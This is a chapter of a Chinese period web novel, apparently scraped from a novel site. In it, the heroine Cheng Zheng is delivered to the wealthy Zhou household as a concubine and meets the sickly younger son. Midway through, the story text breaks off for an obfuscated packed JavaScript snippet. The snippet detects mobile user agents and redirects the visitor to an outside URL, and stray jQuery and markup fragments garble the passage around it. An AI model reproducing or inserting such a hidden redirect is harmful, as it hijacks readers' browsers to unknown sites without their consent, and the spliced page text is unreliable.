6.第 6 章

作品:《你听懂我吗

    车子重新发动起来,轰隆隆地震耳朵,程筝拱了拱身子,想往起坐,王利民瞧了眼后视镜,叫她省点儿力气。


    “你们家已经收了我的钱,现在我叫你做什么就得做什么,周老爷子要是收你,你还能过上姨太太般富贵的生活。”说着,笑一声,“不然只有落得跟你那染痨病的母亲一个下场。”


    程筝就算有心反驳,也被嘴里帕子堵住了,换了个姿势以后就没动了,静静垂着睫毛等王利民开车将她往周峥的公馆里送。


    除周怀良之外,周家其余人丁都跟老爷子住在一起,据程芸菁女士所说,“程筝”进周家一月以后,老二才从美国留洋回来,在此之前老宅里仅有周峥与其太太,以及那个身弱的小儿子——周怀鹤。


    那就是她要找的,坛子里那人。


    这都不算什么,都还能接受 ,可姥姥说,她曾与这小少爷有染。


    程筝感到头疼。都要嫁给他爹了,怎么又跟小儿子有染,当时是怎么乱成一团的。


    宽阔的道路上,各式各样的汽车杂乱地交流着,南北行的车子都停了下来等待红绿灯的命令。


    再往前一段距离是法国人住的租界,那时候天津路上行的都是胶皮车,分两种:一种轱辘小车把短,只能在华界跑车;另一种轱辘高的,车后挂六国捐牌,车夫穿黄号坎,无论去哪国租界都行,高一级似的。


    到处都是阶级。


    程筝观察着车窗外的街景,当时正值苦夏,日头高,穷的人浑身冒汗,富人托着阳伞,身上好似只有香味儿。


    周公馆里就到处是香味儿。


    三层楼高的大洋房,红砖房子,硕大的院子里差使了几个老妈子给花圃浇水,娇嫩的花瓣被过烈的太阳晒蔫巴了,碰着点儿水又鲜亮起来,大门口竖着两个家仆守门,问他们找谁。


    王利民拉下车窗,说是给老爷子送人来了。


    里头的人通报了半晌,把大门推开,叫王利民将车停在外头,人带进去。


    程筝闷头出了点儿汗,还被捆着,王利民想了想,拉开后座车门把塞嘴的帕子扯出来扔到一边儿,程筝干呕了几下才平复。


    王利民看看外头,又看看她,扯过她被绳子捆住的胳膊开始解,压低声音威逼:“你最好识趣点儿,哄着点儿人,如果跟不了周老爷,你就跟我回去罢。”


    瞬间,他捏着她的下巴往回转,揶揄:“脸蛋儿是不错,就是性子差了些,我太太眼里容不得你,跟我回去也只能睡厨房,名分更是别想有。”


    程筝咬紧后槽牙,不想说话。


    王利民前一秒还瞪着豆大的小眼睛威逼她,后一秒就冲那家仆笑,理理西装领子,拎拎领结,面不改色叫她下车进去。


    屋里屋外完全两个天地,大厅极大,走不到头似的,沙发底下垫的都是真动物皮毛做的地毯,踩上去无声无响。


    一个梳着斜麻花头的丫头招呼二人在侧边小沙发上坐着,端着漆盘抬了茶上桌,龙井茶叶在热水里浮浮沉沉,旁边摆着盘四色糖果瓜子。


    “周爷呢?”王利民问。


    “东家还在醒觉,稍等一会儿罢。”说完欲走,恭恭敬敬的,不复恰才在后院跟姐妹打闹的娇俏模样。


    王利民四下瞧了瞧,拦住人追问:“周太太不在家里吧?”


    丫头古怪地上下打量他,王利民说:“今日跟周爷谈的事不适合叫太太知道。”


    “晓得了。”她说,“陈家太太待客,太太今日去上海了。”


    说完,又瞧了程筝一眼,眼里排挤的情绪毫不掩饰,心底里肯定还是护着自家太太的,第一眼就将她视为外敌。


    瞧得她连瓜子都不敢嗑了,饿着肚子又放下去,只能喝点茶水。


    苦的,咂摸不出什么味儿。


    半盏茶入肚,周爷终于醒了觉,慢悠悠扶着楼梯扶手往下走。


    五十岁上下的年纪,着褐色春绸长袍,戴一柄圆形金丝眼睛,装得一派文人风雅,实际上是做外贸生意起家。


    程筝刚刚出了汗,现在正缺水,一边抿茶一边回忆。


    娶的太太是宁波人,娘家在天津做过一段时间的生意,劝业场旁边那个最大的洋货商场就是周太太独有的,周峥送给她当家本的,货物也是从周家的轮船上走。


    周峥年轻时在轮船局做事,后来外国资本入侵,转做起洋人生意,到现在一家独大,人脉通天。


    更不用说他几个儿子,大儿子周怀良军校毕业,雷厉风行爬上旅长少将的位置,有这根擎天柱撑着,没人敢得罪周家;老二方秋水,在美国留学,应该马上就要回来,但程芸菁说老二之所以不姓周,只因他并非周峥的亲生骨肉。


    周峥的二太太是他从小的青梅竹马,强取豪夺来的,夺来的时候肚子里就已经有了种,周峥竟甘心给别人养孩子,也是唏嘘。


    最后,那个小儿子周怀鹤,是最没用处的。身子差,早年也不在周家长大,在他香港的姑母那里,他似乎也遗传了母亲的体弱多病,除了喝药什么也不会。


    又或许是程芸菁女士为了护着他,故意不跟她说实话。


    程筝走神想着,吃了一口茶叶进去,吐进杯子里也奇怪,只能面色古怪地嚼了咽下去。


    周峥瞧了她一眼,王利民忙打哈哈:“乡下丫头,不懂这些,连茶叶都吃,周爷别见怪。”


    “什么事?”周峥端着鹅黄色宋瓷茶盏,吹了口浮沫,问姓王的。


    王利民谄媚道:“这不是听说您近来病了,前阵子我底下的一个佃户缺钱,将他闺女卖给我作佣人,我一瞧这名字,正好是老爷子您需要的。”


    话说到一半,用胳膊肘怼了怼程筝,吩咐:“快将八字写下来给周爷瞧瞧。”


    佣人递上纸笔,她刚准备拿起笔,忽又想到不应该:“我一乡下丫头,不识字。”


    被揪住错处就不好了,这里的程筝不应该念过书。


    王利民“啧”一声,叫她报,好在姥姥也交代过,程筝就念了出来:“庚戌年、甲申月、 丙午日、己丑时。”


    “半夜出生的……”王利民将纸片递给周峥,“您看看合适么?”


    周峥还在审视,这姓王的嘴里就跑过一溜火车:“周少将平时对我照顾有加,这不,我一听说这事就立马给您寻人来了,毕竟是这么深厚的关系,是吧老爷子。”


    主沙发座上的人瞧了瞧这八字,说:“是在何师父给的范围内,名字也合适。”


    何师父也是青檀山上下来的道士,程芸菁说他是玉玲的师父,平日里给人相面算命,一般较大的军阀都会养一两个相士,算风水,算从哪里进军,成功率如何,图个吉利。


    这位姓何的师父本是周峥给周怀良找的,但周怀良不信这些,推拒了,老爷子就收着自己用,总之对周家来说,多养一张嘴也花不得几个钱。


    听见他这么说,王利民笑呵呵拍手:“这不恰好了吗,周少将知道了肯定也为您高兴。”


    周峥似乎不大在意,纸片一放下,起身欲上楼,只道一句:“先留下吧,八字我回头再拿给何师父看看。”


    跟养个小鸟小猫似的,不当回事。


    王利民面露喜色,心想自己又能在周怀良面前邀得一功,目的也算达成,只是苦了这小丫头。


    他遗憾地瞧了瞧程筝,暗自心道:如果周少将收她,哪怕没有名分,也比伺候周峥强。


    再不济,其实自己也比这老爷子强。


    当然,这番攀比的话他自是不敢在周峥面前讲,也只能在心头想一想。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054076|178680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “你就好好留在这里罢。”王利民还觉得自己也算做好事,“总比留在你那农户家里好。”


    程筝坐着不动,两个烦人的人走后,她终于能松点劲儿,刚准备抓一把瓜子嗑,不料那本就敌对她的小丫头将盘子一夺,冷哼一声甩着麻花辫就走了,不给她吃。


    嘿。


    周峥就说把她留下,管家的杨妈面如酱色,跟上楼小声问如何跟太太交代,周峥差使她将外套取来。


    “不如何交代,实话实说就行,又不是第一个了。”周峥没多上心,“你当我是娶了个占地为王的老虎?”


    杨妈喏喏不敢应答,周峥“呵”一声,冷声:“谁是家里的东家,你伺候谁的,还用我说?”


    “晓得了。”杨妈捏着手去取外套。


    确实不是第一个了,按排行,程筝都得是“六姨太”,除了周太太以外,周峥还娶过四个小的,二太太生了方秋水以后就早逝了,剩余三个都是养在外面,周太太心里清楚,也是睁一只眼闭一只眼。


    但程筝的情况又不大一样,她是纯被诓进来冲喜的,得住进这里,那就是在周太太眼睛跟前晃,这也是一大问题。


    况且,如果让程筝自己决断,她自然不惜得当这劳什子六姨太,可这身份好用,她得待在周怀鹤身边。


    玉玲叫她想办法在不引火烧身的情况下害死他,姥姥叫她留下他。


    程筝暂时下不定决心,只得先耗着,见了人再说。


    芸芸——就是夺了她瓜子盘的那人,不情不愿将她领上楼,拿钥匙开了一扇门:“这是公馆的客房,先住着吧,等周太太回来再安排。”


    程筝探脑袋往里看了一眼,平时应该常有人打扫,被子摊得连褶都没有,跟梦里那场景也像,窗户外头是花园,墙角立着时兴的蒂凡尼灯,琉璃制的万花筒一般,彩色的。


    “对了。”芸芸指了指廊道西边,“这边是东家和太太的主卧,太太自是不大待见你,最好别过去惹太太嫌。”


    又指指东边,“那边是小少爷的屋子,他平时不大出门,好安静,你走路也小声点儿。”


    “那另外两个呢?”程筝顺嘴问了一句,打探一下洋房的结构。


    “大少爷在外头有自己的公馆,不常回来,住楼下;二少爷下个月中坐船回来,屋子也在楼下。”芸芸古怪一瞬,“你问这个干嘛?”


    她也只把程筝当乡下来的丫头,住不了几个月,东家病情要是没好,太太一准留不得她,马上就得将她撵出去。


    “问问。”程筝顺着说,“怕得罪人。”


    芸芸“哼”一声:“知道就好。”


    话音刚落,东边那屋子门把手就被摁下、转开,还在说话的两个人将目光投了过去。


    屋子里显出一道颀长纤瘦的人影,个子高,肤色净白,灰棕色西装衬得体型匀称,葱白手指虚虚摁在门把上,瞧了瞧她俩,眸光只在程筝脸上落了一瞬,显得陌生。


    芸芸喊了一句:“鹤少爷去哪儿?”


    周怀鹤将屋门关上,声音毫无情绪:“叫王发在楼下停好车子,我去一趟交易所。”


    “晓得了,这就去。”芸芸欠身往楼梯走,周怀鹤刚拐过弯,掠过她身边的时候,风里都是一股泛苦的中药味儿。


    他倏地顿足,乌色眼睛又瞧了瞧立在门边的程筝。


    程筝上下打量他,第一次见他走路,不知怎地竟觉得新奇。


    她还从未见过这人的手足,说话的声音倒是没变,一模一样的。


    “这是谁?”周怀鹤问了一句,瞧她衣服布料做工,也不像是能当周家座上宾的人物。


    程筝捉弄人一般笑笑,柳叶似的眼睛一弯:“你猜?”


    还没入门,白得三个儿子。